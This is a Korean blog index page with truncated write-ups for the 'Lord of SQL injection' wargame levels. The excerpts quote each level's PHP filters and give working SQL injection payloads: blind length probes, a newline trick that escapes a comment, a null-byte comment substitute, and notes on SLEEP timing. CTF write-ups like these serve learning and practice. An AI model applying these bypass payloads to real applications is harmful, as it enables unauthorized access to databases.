본문 바로가기

WarGame/Web

(25)
[Lord of SQL injection] umaru 소스코드 분석 function reset_flag(){ $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16); $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'")); if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')"); else mysql_query("update prob_umaru set flag='{$new_f..
[Lord of SQL injection] evil_wizard
[Lord of SQL injection] hell_fire
[Lord of SQL injection] dark_eyes 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");전에 풀었던 문제랑 상당히 흡사하다. col, if, case, when 필터링이 추가되었다. if(mysql_error()) exit();echo "query : {$query} ";그리고 mysql error가 뜨면 error 내용을 보여주지않는다. ?pw=%27%20or%20(id=%27admin%27%20and(select%20length(pw)=8%20union%20select%201))%23 - length(pw)가 참일 경우..
[Lord of SQL injection] iron_golem 소스코드 분석if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");여기서 sleep과 benchmark를 필터링 해놨는데 왜 했는지 의도에 대해서는 모르겠다.sleep은 쿼리를 초단위로 지연을 시킬수 있다.select * from [테이블 명] WHERE SLEEP(5)=0;지정한 숫자보다 3배는 더걸리는거 같다. SLEEP(duration)https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. T..
[Lord of SQL injection] dragon 소스코드 분석$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";쿼리를 보게 되면 id='guest'# 주석이 달려있다. %0a 줄바꿈 문자를 사용하여 우회한다.select id from prob_dragon where id='guest'# and pw='%0a and pw='123' or id='admin'-> select id from prob_dragon where id='guest' and pw='123' or id='admin' ?pw=%0a%20and%20pw=%27%27%20or%20id=%27adminpw=%0a and pw='' or id='admin
[Lord of SQL injection] xavis 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 정규표현식이랑 like를 필터링하고 있다.나머지는 크게 다른게 없고 admin의 pw만 알면되는 Blind SQL injection문제다. 일단 길이부터 구해보면 40글자나 된다. 그리고 다른 Blind SQL injection 문제를 풀었던 소스코드로 돌려보니 0이 반환되었다, ?pw=%27%20or%20id=%27admin%27%20and%20length(pw)=40%23pw=' or id='admin' and length(pw)=40%23 한글자당 길이(byte)를 찾..
[Lord of SQL injection] nightmare 소스코드 분석 if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");if(strlen($_GET[pw])>6) exit("No Hack ~_~");각종 필터링에 pw는 6자리까지 사용할수있다.조건을 참만 만들어주면 풀린다.그리고 #, -- 주석이 필터링 되어있어서 ;%00 이걸로 대체한다. ?pw=%27)=0;%00 참은 1인데 왜 0을 넣어서 참값을 만들었냐면 mysql의 자동 형변환 때문이다.서로다른 타입을 비교하면 mysql은 2개를 같은 타입으로 비교를 한다.